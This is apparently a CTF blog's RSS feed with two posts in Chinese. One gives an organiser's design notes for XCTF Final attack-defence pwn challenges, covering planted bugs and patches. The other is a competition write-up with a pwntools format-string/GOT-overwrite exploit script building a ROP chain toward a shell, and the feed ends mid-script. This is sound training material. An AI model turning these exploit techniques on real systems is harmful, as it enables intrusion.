<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Csome</title><description>Blog</description><link>https://blog.csome.cc/</link><language>zh_CN</language><item><title>[9th XCTF Final AwD Pwn] 出题心得</title><link>https://blog.csome.cc/p/xctf-adpwnwp/</link><guid isPermaLink="true">https://blog.csome.cc/p/xctf-adpwnwp/</guid><pubDate>Mon, 03 Nov 2025 01:55:00 GMT</pubDate><content:encoded>&lt;h1&gt;9th XCTF Final AwD Pwn 出题心得&lt;/h1&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;有幸收到Crazyman的邀请，参与了9th XCTF Final AwD赛的赛题。&lt;/p&gt;
&lt;p&gt;今年XCTF Final的赛制进行了很大的创新，除了传统的解题赛之外，还包含了RealWorld、IoT、AwD，其中AwD独占一天8.5h。对于AwD的赛制规则，今年也有大幅的改动。之前国内赛的AwD多数以AwDplus为主，少数是基于选手SSH维护服务的经典AwD，而今年的XCTF Final AwD赛制是既不会像经典AwD那样那么混乱导致选手体验失衡，也不会像AwDplus过于的束缚选手的想象力。同时XCTF Final的AwD引入了类似DEFCON的Patch和流量延迟公开的机制，使得选手对于赛制的策略需要有较大的变化。&lt;/p&gt;
&lt;p&gt;AwD的记分也有比较大的改动，为按轮次记分，被攻陷扣除30%当前得分，并平分给成功攻陷的队伍。也就是如果一支队伍一道题目很强，获得了几万分，但是如果修补存在漏洞，会导致其他队伍直接获得这几万份的30%，一举翻盘。&lt;/p&gt;
&lt;p&gt;当我收到这个赛制信息的时候是7月份，我十分喜爱这个创新，并打算构思一些有意思的题目，虽然延期了（我也10月份才动工）。最后为了适应Patch和流量延迟公开的机制以及赛题记分的机制，我贡献了两道题目somehash和someheap。&lt;/p&gt;
&lt;h2&gt;somehash&lt;/h2&gt;
&lt;h3&gt;设计构思&lt;/h3&gt;
&lt;p&gt;本题是先构思的一道题目，最开始的设计是本题需要结合Crypto、Reverse的一道Pwn题。并且也不打算加入传统Pwn题打ROP、HOOK、IO FILE等技术，所以本题的核心是信息泄漏，攻击者需要思考如何从靶机中获得Admin token。&lt;/p&gt;
&lt;p&gt;首先，我设计了一个Challenge-Response挑战应答模式的登陆认证，如果认证成功，那么即可获得Shell（使用挑战应答模式可以避免其他队伍批量尝试token的时候流量造成的泄漏，以及这里也可以埋入一个漏洞点）。&lt;/p&gt;
&lt;p&gt;之后我结合Patch延迟公开的机制，设计了一个外部文件生成Admin token的过程，此过程设计上需要加入一点点的逆向，并且此处默认config是空，以及如果config校验失败也会导致Admin token为默认，其他队伍可以通过默认Admin token获得flag。&lt;/p&gt;
&lt;p&gt;由于Patch会延迟公布，所以这里要求选手，编写自动化的config生成，并且每回合都需要提交新的Patch；同理攻击者也需要编写自动化下载Patch分析config生成admin token去批量攻击其他队伍。（这同时也使得抄Patch也容易导致admin token泄漏）&lt;/p&gt;
&lt;p&gt;那么接下来，继续围绕admin token设计其他的漏洞。&lt;/p&gt;
&lt;h3&gt;漏洞清单&lt;/h3&gt;
&lt;p&gt;题目中包含两个直接漏洞&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;默认admin token以及Patch延迟公开导致admin token泄漏&lt;/li&gt;
&lt;li&gt;strncpy拼接并由printf %s泄漏admin token&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以及四个非直接的漏洞，因为涉及session中间量，所以分成两个过程，分别是 过程A和过程B&lt;/p&gt;
&lt;p&gt;过程A漏洞&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;弱随机数种子 srand(time(0))&lt;/li&gt;
&lt;li&gt;利用生日攻击MD5，得到1最少的user token，通过统计泄漏的session恢复admin token&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;过程B漏洞&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;login逻辑中，scanf未初始化导致泄漏session&lt;/li&gt;
&lt;li&gt;show heap逻辑中，由于使用了strncpy方法导致泄漏session&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;过程A中选择一种方法，过程B中选择一种方法，可以组合出4种攻击方法&lt;/p&gt;
&lt;h3&gt;修补&lt;/h3&gt;
&lt;p&gt;这道题目依旧保留了AwDplus类似的patch elf，并check修改的字符是否在给定的允许patch范围的白名单中，本题对于ELF的patch校验十分严格，只允许4个位置，但是对于config并没有校验&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WHITE_LIST = [
    Allowed(offset=0x14F1, length=0x19),  # 修改 srand(time(0))，增强随机数
    Allowed(offset=0x2057, length=5),     # 防止login入口泄漏session
    Allowed(offset=0x22cd, length=5),     # 防止login_user拼接泄漏admin token
    Allowed(offset=0x2b9c, length=5),     # 防止堆操作泄漏session
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;直接漏洞1&lt;/h4&gt;
&lt;p&gt;默认config文件是空，&lt;code&gt;generate_token&lt;/code&gt;过程中&lt;code&gt;memset(token, 0x41, 0x10);&lt;/code&gt;将token初始化为0x41，config文件未反序列化成功，token仍将保持为0x41。&lt;/p&gt;
&lt;p&gt;修补建议，需要逆向config文件反序列化过程，编写自动化生成config文件与提交patch的脚本。&lt;/p&gt;
&lt;h5&gt;config生成&lt;/h5&gt;
&lt;p&gt;本题config生成是一个划分问题，题目要求将下面这个文本（随便找的0w0），划分成若干份，并按照&lt;code&gt;size|nonce|content&lt;/code&gt;为一个block的方式写入文件。题目还要求block的顺序必须与与其自身的MD5顺序相同，所以需要爆破多次尝试nonce，直到符合条件（这个爆破复杂度并不大）。随后程序会根据划分的每一个block的size，拼接，计算MD5，得到admin token。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;There, my blessing with thee. And these few precepts in thy memory Look thou character. Give thy thoughts no tongue, Nor any unproportioned thought his act. Be thou familiar but by no means vulgar. Those friends thou hast, and their adoption tried, Grapple them unto thy soul with hoops of steel, But do not dull thy palm with entertainment Of each new-hatched, unfledged comrade. Beware Of entrance to a quarrel, but being in, Bear &apos;t that th&apos; opposed may beware of thee. Give every man thy ear but few thy voice. Take each man&apos;s censure but reserve thy judgment. Costly thy habit as thy purse can buy, But not expressed in fancy-rich, not gaudy, For the apparel oft proclaims the man, And they in France of the best rank and station Are of a most select and generous chief in that. Neither a borrower nor a lender be, For loan oft loses both itself and friend, And borrowing dulls the edge of husbandry. This above all: to thine own self be true, And it must follow, as the night the day, Thou canst not then be false to any man. Farewell. My blessing season this in thee.

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以选手逆向理解这个逻辑之后，给大模型应该很快就能写出自动化生成的脚本。&lt;/p&gt;
&lt;h4&gt;直接漏洞2&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;login_user&lt;/code&gt;逻辑中&lt;code&gt;strncpy(user_username, username, 0x10);&lt;/code&gt;会填满&lt;code&gt;user_username&lt;/code&gt;导致后续&lt;code&gt;help&lt;/code&gt;方法泄漏admin token。&lt;/p&gt;
&lt;p&gt;修补建议，patch为&lt;code&gt;strncpy(user_username, username, 0xf);&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;间接漏洞-过程A-1&lt;/h4&gt;
&lt;p&gt;弱随机数种子来自的&lt;code&gt;time(0);&lt;/code&gt;，可能组合后续的leak session导致admin token泄漏。&lt;/p&gt;
&lt;p&gt;修补建议，使用其他数值替换srand参数，例如基于PIE的随机数种子等。&lt;/p&gt;
&lt;h4&gt;间接漏洞-过程A-2&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;login_user&lt;/code&gt;过程中，&lt;code&gt;xor_chars(user_token, tmp, 0x10);&lt;/code&gt;存在生日攻击可能，但就算不xor也能构造出1多0少的md5，之后通过泄漏session，即可通过纵向统计session中相同位置的bit的0和1的数量即可恢复admin token。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;xctf-adpwnwp/111.drawio.png&quot; alt=&quot;111.drawio&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此漏洞为逻辑漏洞，无法修补，建议修补其他泄漏session的过程&lt;/p&gt;
&lt;h4&gt;间接漏洞-过程B-1&lt;/h4&gt;
&lt;p&gt;在login函数中，&lt;code&gt;scanf(&quot;%lx&quot;, &amp;amp;chall-&amp;gt;session.a);&lt;/code&gt;可能导致&lt;code&gt;chall-&amp;gt;session.a&lt;/code&gt;未初始化问题，导致堆上数据泄露，从而可以组合过程A，泄漏admin token。&lt;/p&gt;
&lt;p&gt;修补建议，将生成challenge的函数rand_bytes参数增加&lt;code&gt;rand_bytes((unsigned char*)chall-&amp;gt;challenge, 0x20);&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;间接漏洞-过程B-2&lt;/h4&gt;
&lt;p&gt;在view_note的函数中，&lt;code&gt;strncpy(tmp, buffer[idx], sizes[idx]);&lt;/code&gt;此处使用strncpy拷贝堆上xor后的数据，而堆上数据可能会因为0截断，导致拷贝并不完全，导致tmp数据缺失部分数据，最后进行decrypt的时候泄漏session&lt;/p&gt;
&lt;p&gt;修补建议，将&lt;code&gt;strncpy&lt;/code&gt;替换成&lt;code&gt;memcpy&lt;/code&gt;即可。&lt;/p&gt;
&lt;h2&gt;someheap&lt;/h2&gt;
&lt;p&gt;本题是在XCTF比赛前一周开始构思的题目，一样需要结合XCTF Final的Patch公开机制和流量公开机制，打算设计一个竞技性很强的题目。本题也是打算设计成比较贴近DEFCON Final题目的类型，让选手体验竞技的刺激。&lt;/p&gt;
&lt;p&gt;（其实也是不想写传统的白名单限制允许patch的区域，这种模式有点像是填空题了，所以这道题目设计上不希望选手能patch ELF了）&lt;/p&gt;
&lt;p&gt;这道题目核心是一道堆菜单题，并且需要利用好防御方和攻击方的作用。&lt;/p&gt;
&lt;p&gt;这道菜单题，包含多个堆原语的操作。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add操作 （分成malloc和calloc）&lt;/li&gt;
&lt;li&gt;Free操作 （存在UAF）&lt;/li&gt;
&lt;li&gt;Edit操作 （写入长度由攻击方控制，可以overflow）&lt;/li&gt;
&lt;li&gt;Show操作 （输出长度由攻击方控制，越界泄漏）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;防御方&lt;/h2&gt;
&lt;p&gt;本题设计的难点主要在于防御方。为了能更好的融入题目，这里设计了一个firewall文件，防御方需要编写amd64的机器码，当程序启动的时候，会加载这个firewall文件到内存中，随后在堆操作前后会调用这个文件，进行check（check返回约定是，返回0表示正常，返回非0程序将exit退出）&lt;/p&gt;
&lt;p&gt;由于防御方拥有当前进程执行任意代码的能力，所以我需要给防御方增加编写amd64代码的难度。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先这道题目开启了沙箱，并且firewall不允许包含&lt;code&gt;0x0f 0x05&lt;/code&gt; syscall/&lt;code&gt;0x0f 0x34&lt;/code&gt; sysenter/&lt;code&gt;0xcd 0x80&lt;/code&gt; int 0x80这些会产生系统调用的指令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# check if arch is X86_64
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A &amp;gt;= 0x40000000 ? dead : next
A == open ? ok : next
A == read ? ok : next
A == write ? ok : next
A == close ? ok : next
A == brk ? ok : next
A == exit ? ok : next
A == exit_group ? ok : next
A == futex ? ok : next
A == getrandom ? ok : next
if(A == arch_prctl) goto prctl_test
goto dead
prctl_test:
A = args[0]
A == 0x1001 ? ok : next
A == 0x1002 ? ok : next
A == 0x1003 ? ok : next
A == 0x1004 ? ok : next
goto dead
ok:
return ALLOW
dead:
return KILL

&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为了防止防御者可以通过地址计算，逃逸到bss上，或者libc中，这里需要防止防御者使用代码计算得到bss/libc地址，所以这里采用了强随机地址，使用&lt;code&gt;/dev/urandom&lt;/code&gt;生成强随机的地址区域，作为firewall代码段、firewall执行的stack空间等。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dynamic_obj-&amp;gt;func =  mmap((void*)((size_t)get_random_addr() &amp;amp; (~0xfff)), 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
dynamic_obj-&amp;gt;stack = mmap((void*)((size_t)get_random_addr() &amp;amp; (~0xfff)), 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;其次执行firewall的时候需要清空所有寄存器包括xmm寄存器和fs、gs寄存器，但是由于需要记录返回地址，所以我将返回地址记录在了firewall代码段的最后方，此时又需要防止firewall读取到这个地址导致逃逸，所以我设置了firewall代码段&lt;code&gt;--x&lt;/code&gt;的权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mprotect(dynamic_obj-&amp;gt;func, 0x1000, PROT_EXEC);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为了让firewall程序编程无状态的，所以每次执行的时候都会将firewall执行栈清空&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;memset(dynamic_obj-&amp;gt;stack, 0, 0x1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后为了防止防御方很简单的通过idx信息进行记录对应的堆状态，这里允许攻击者设置srand种子，并且firewall获得idx参数时解密前的参数，真实idx是&lt;code&gt;encrypt(idx) % 0x100&lt;/code&gt; (这里为了rand()数据在stack上残留，故意开了O2)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__attribute__((optimize(&quot;O2&quot;))) size_t encrypt(size_t val) {
    register size_t rand_val = (size_t)rand();
    return val + rand_val;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后防御方还有一个最困难的一点，防御方无法判断当前被调用的地方是在add/free/show/edit哪一个功能中，因为每一个传入的参数都是&lt;code&gt;(idx, size, heap_addr)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些大概就是防御方的限制，可以看到，防御方只能通过一些堆的状态进行判断。&lt;/p&gt;
&lt;p&gt;比较好的是，进行校验的位置都是堆地址申请出来之后，释放之前这个区间进行校验，也就是说，堆地址正常生命周期处在被使用的时候会进入check，所以最简单的校验是通过&lt;code&gt;prev_inuse&lt;/code&gt;位置来判断，当前堆地址是否存在UAF问题。（当然这也只能解决unsortedbins、smallbins、largebins这些相关的UAF，并不能解决fastbins、tcachebins的UAF问题）&lt;/p&gt;
&lt;p&gt;其次，为了解决Overflow的问题，也可以通过获取堆的size，进行判断。这两个校验应该是比较容易想到的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何解决tcachebins的UAF问题？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我也没想到很完备的方案能解决这个问题，但是可以稍微限制的是，可以通过解析&lt;code&gt;tcache_entry&lt;/code&gt;结构体，来校验是否存在tcache UAF问题。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stddef.h&amp;gt;

# define TCACHE_MAX_BINS		64

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  size_t key;
} tcache_entry;

typedef struct tcache_perthread_struct
{
  unsigned short counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) &amp;gt;&amp;gt; 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&amp;amp;ptr, ptr)

size_t check(size_t a, size_t b, size_t addr) {
    size_t base = addr &amp;amp; (~0xfff);

    while (1) {
        size_t* p = (size_t*)(base + 0x8);
        if(*p != 0x291) {
            base -= 0x1000;
            continue;
        }
        break;
    }

    tcache_perthread_struct* tcache = (tcache_perthread_struct*)(base + 0x10);
    size_t size = *(size_t*)(addr - 0x8);

    if(size &amp;gt; 0x410) {
        return 0;
    }

    size_t tc_idx = (size - 0x20) &amp;gt;&amp;gt; 4;
    size_t tc_cnt = tcache-&amp;gt;counts[tc_idx];
    int cnt = 0;
    tcache_entry *tmp;
    for (tmp = tcache-&amp;gt;entries[tc_idx];
         tmp;
         tmp = REVEAL_PTR (tmp-&amp;gt;next), ++cnt)
    {
        if (cnt &amp;gt;= tc_cnt) return 0;
            if ((size_t)tmp == addr) return 1;
          }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然这个检查也有机会绕过，通过在页对齐的地方布置一个伪造的&lt;code&gt;tcache_entry&lt;/code&gt;即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后门？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在比赛的开始也给了提示，这道题目后门是允许的预期。虽然我在后台看日志的时候没找到后门的样本，如果有遗漏，欢迎大家评论或者提交issue！&lt;/p&gt;
&lt;p&gt;这里给一个预期中的后门设计方法。&lt;/p&gt;
&lt;p&gt;由于这道题目firewall的限制非常大，在一个构造的沙箱中，我们可以通过一些特征的size或者heap内容特定的字符串，或者是heap特定的size等等，这些进行校验是否进入后门分支。其次，由于需要逃逸沙箱，所以需要保证堆数据中包含libc地址，比如说main_arena地址，之后firewall就可以从main_arena逃逸到_environ，逃逸到stack上，stack上包含程序的基地址，从而计算出bss地址，最后即可得到&lt;code&gt;dynamic_obj&lt;/code&gt;中所有的信息，其中包含了win函数的地址，直接jmp到win，即可获得flag。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned char win[] = { 0x48, 0xb8, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe7, 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x40, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x40, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x0f, 0x05 };
size_t win_addr = (size_t)get_random_addr();
dynamic_obj-&amp;gt;win =  mmap((void*)(win_addr &amp;amp; (~0xfff)), 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
size_t win_addr_page = (size_t)dynamic_obj-&amp;gt;win;
dynamic_obj-&amp;gt;win = (void*)(((size_t)dynamic_obj-&amp;gt;win) + (win_addr &amp;amp; 0xfff));
memcpy(dynamic_obj-&amp;gt;win, win, sizeof(win));
mprotect((void*)win_addr_page, 0x2000, PROT_EXEC);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;进攻方&lt;/h2&gt;
&lt;p&gt;题目对于进攻方的交互上没有特殊的设计，就是常规的交互。&lt;/p&gt;
&lt;p&gt;由于规则限制，所有选手需要至少提交一次flag，才能patch此题目，所以大家需要攻击默认状态下的题目，而默认状态下firewall为空，也就是简单的tcache UAF利用打IO FILE，比较基础。&lt;/p&gt;
&lt;p&gt;由于防御方依旧可以通过一些技巧，特定的限制进攻方的利用，导致利用难度剧增，本题设计了一个Level机制。&lt;/p&gt;
&lt;p&gt;本题目分成6个level，level根据防御方firewall长度而变化&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;当firewall长度&amp;lt;=5 （初始情况）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击方没有降低难度&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当firewall长度&amp;lt;=30 (基本情况)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击方能直接获得heap地址、libc地址、一个随机可读可写地址Addr&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当firewall长度&amp;lt;=50 （基本上能检查size长度，阻止溢出了）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击方能直接获得heap地址、libc地址、一个随机可读可写地址Addr&lt;/li&gt;
&lt;li&gt;并且攻击方只需要在这个随机可读可写地址Addr写入win函数地址即可拿到flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当firewall长度&amp;lt;=80 （此时能做一点简易的uaf检查）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击方能直接获得heap地址、libc地址、一个随机可读可写地址Addr&lt;/li&gt;
&lt;li&gt;并且攻击方只需要在这个随机可读可写地址Addr任何非0的数值即可拿到flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当firewall长度&amp;lt;=120 （此时基本上能做较强的uaf检查，以及可以做一些size检查）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击方能直接获得heap地址、libc地址&lt;/li&gt;
&lt;li&gt;并且攻击方只需要 堆上的一个位置写入win函数地址 即可拿到flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当firewall长度&amp;lt;=1000 （最后所有情况）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击方能直接获得heap地址、libc地址&lt;/li&gt;
&lt;li&gt;并且攻击方只需要 堆上的一个位置写入非0 即可拿到flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;void info() {
    printf(&quot;win: %p\n&quot;, dynamic_obj-&amp;gt;win);
    if(dynamic_obj-&amp;gt;level.info_leak) {
        char *p = malloc(0x500);
        printf(&quot;printf: %p\n&quot;, printf);
        printf(&quot;heap: %p\n&quot;, p);
        free(p);
    }
    if(dynamic_obj-&amp;gt;level.in_heap == 0) {
        printf(&quot;target: %p\n&quot;, dynamic_obj-&amp;gt;near_heap_addr);
    }
}

void win_flag() {
    if(dynamic_obj-&amp;gt;level.near_heap == 1) {
        if((*((size_t*)dynamic_obj-&amp;gt;near_heap_addr)) == (size_t)dynamic_obj-&amp;gt;win) dynamic_obj-&amp;gt;win();
    } else if(dynamic_obj-&amp;gt;level.near_heap == 2) {
        if(*((size_t*)(dynamic_obj-&amp;gt;near_heap_addr))) dynamic_obj-&amp;gt;win();
    } else {
        _IO_flush_all();
        ___exit(0);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以进攻方，可以根据当前题目的level，进行针对性的编写exp即可。&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;本题代码将在 https://github.com/CsomePro/9th-XCTF-Final-ADPWN 开源，欢迎预期或非预期提交issue讨论。&lt;/p&gt;
</content:encoded></item><item><title>[2024长城杯初赛] Pwn题SomeHash SomeTime shutup题解</title><link>https://blog.csome.cc/p/2024changchengbei/</link><guid isPermaLink="true">https://blog.csome.cc/p/2024changchengbei/</guid><pubDate>Sun, 31 Mar 2024 20:46:11 GMT</pubDate><content:encoded>&lt;h2&gt;SomeHash&lt;/h2&gt;
&lt;p&gt;题目实现了简单的Hash计算的逻辑，提供了3次初始的计算用户输入Hash的机会&lt;/p&gt;
&lt;p&gt;其中漏洞点在&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331194408745.png&quot; alt=&quot;image-20240331194408745&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的v10没有检查负数，可以向bss段上方的数据中写入一字节&lt;/p&gt;
&lt;p&gt;这里的利用方法是一个小技巧，来自于got表的lazy函数注册逻辑，也就是checksec显示如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331194320257.png&quot; alt=&quot;image-20240331194320257&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Lazy函数注册逻辑&lt;/h3&gt;
&lt;p&gt;当ELF加载时，并不会直接调用dl_runtime_resolve将函数注册成真实地址，此时got表也是可写的，我们再观察一下这里got表指向，这里指向的是plt上方的一个地址，可以看到这里的exit函数，got表进入的是0x1030的位置，之后jmp到了0x1020的函数，0x1020函数内会jmp到0x5010的位置，也就是pwndbg中的&lt;code&gt;_dl_runtijme_resolve_xsavec&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331195253059.png&quot; alt=&quot;image-20240331195253059&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331195144656.png&quot; alt=&quot;image-20240331195144656&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关于对于&lt;code&gt;dl_runtime_resolve&lt;/code&gt;的内容这里就不赘述了，网上有很多教程。这里我们并不需要关心&lt;code&gt;dl_runtime_resolve&lt;/code&gt;做了什么，我们只需要动态观察got表未注册的内容的规律，在上面的pwndbg显示的，&lt;strong&gt;注意这里got表是可写的&lt;/strong&gt;，那么我们就有一个大胆的猜想，如果我们在函数注册之前，修改了got表里的数据会怎么样？&lt;/p&gt;
&lt;p&gt;可以看到的是，在函数注册前，got表内容十分相近，相差只有一个byte，上述的数组下标溢出的漏洞非常合适这里的利用。&lt;/p&gt;
&lt;h3&gt;strlen2printf&lt;/h3&gt;
&lt;p&gt;这里有一个非常合适的错误注册的函数——&lt;code&gt;strlen&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里main函数逻辑中，调用strlen是在漏洞利用之后，我们可以修改未注册的strlen的got表内容，改成printf的偏移，使得strlen错误的注册成printf函数，而在接下来的函数调用中，buf内容是可控的，导致我们可以将数组下标溢出漏洞转换成printf格式化字符串漏洞&lt;/p&gt;
&lt;p&gt;（并且，printf的返回值是输出字符的数量，strlen也是字符数量，并不影响后续程序的逻辑）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331200116857.png&quot; alt=&quot;image-20240331200116857&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此，我们构造了一个非栈上字符串的格式化字符串漏洞，而这个问题也已经有方法解决https://www.freebuf.com/vuls/284210.html&lt;/p&gt;
&lt;h3&gt;EXP&lt;/h3&gt;
&lt;p&gt;完整exp如下，直接使用格式化字符串提权是困难的，因为一共只有4次机会，我们可以利用这四次机会，修改dword_5078地址内容，使得while的次数变多，最后完成格式化字符串攻击&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;debug&apos;

# io = process(&quot;./somehash&quot;)
io = remote(&quot;127.0.0.1&quot;, 9999)
tob = lambda x: str(x).encode()

io.sendlineafter(b&quot;name length&amp;gt; &quot;, tob(-0x98))

payload = flat({
    0: b&quot;xxx&amp;gt;%6$p-&amp;gt;%19$p-&amp;gt;%21$p-&quot;,
    0x80-2: b&quot;a&quot; 
})
io.sendlineafter(b&quot;name&amp;gt; &quot;, payload)

io.recvuntil(b&quot;xxx&amp;gt;&quot;)
stack = int(io.recvuntil(b&quot;-&quot;, drop=True), 16)
log.success(f&quot;stack : {stack:#x}&quot;)

io.recvuntil(b&quot;&amp;gt;&quot;)
libc_leak = int(io.recvuntil(b&quot;-&quot;, drop=True), 16)
log.success(f&quot;libc_leak : {libc_leak:#x}&quot;)

io.recvuntil(b&quot;&amp;gt;&quot;)
elf_leak = int(io.recvuntil(b&quot;-&quot;, drop=True), 16)
log.success(f&quot;elf_leak : {elf_leak:#x}&quot;)

elf_base = elf_leak - 0x258b
log.success(f&quot;elf_base : {elf_base:#x}&quot;)

libc_base = libc_leak - 0x29d90
log.success(f&quot;libc_base : {libc_base:#x}&quot;)

stack_target = stack - 0x100
payload = f&quot;%{stack_target % 0x10000}c%23$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

target = elf_base + 0x05078 # cnt
payload = f&quot;%{target % 0x10000}c%53$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

payload = f&quot;%{0x100 - 200}c%21$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)



stack_target = stack - 0x110
payload = f&quot;%{stack_target % 0x10000}c%23$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

write = libc_base + 0x000000000002a3e5 # pop rdi
for i in range(6):
    target = stack_target + i
    payload = f&quot;%{target % 0x100}c%23$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)
    
    payload = f&quot;%{(write // (0x100 ** i)) % (0x100)}c%53$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)



stack_target = stack - 0x110 + 0x8
payload = f&quot;%{stack_target % 0x10000}c%23$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

write = elf_base + 0x50c0 # -&amp;gt;&quot;/bin/sh&quot;
for i in range(6):
    target = stack_target + i
    payload = f&quot;%{target % 0x100}c%23$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)
    
    payload = f&quot;%{(write // (0x100 ** i)) % (0x100)}c%53$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)



stack_target = stack - 0x110 + 0x10
payload = f&quot;%{stack_target % 0x10000}c%23$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

write = libc_base + 0x000000000002a3e5+1 # ret
for i in range(6):
    target = stack_target + i
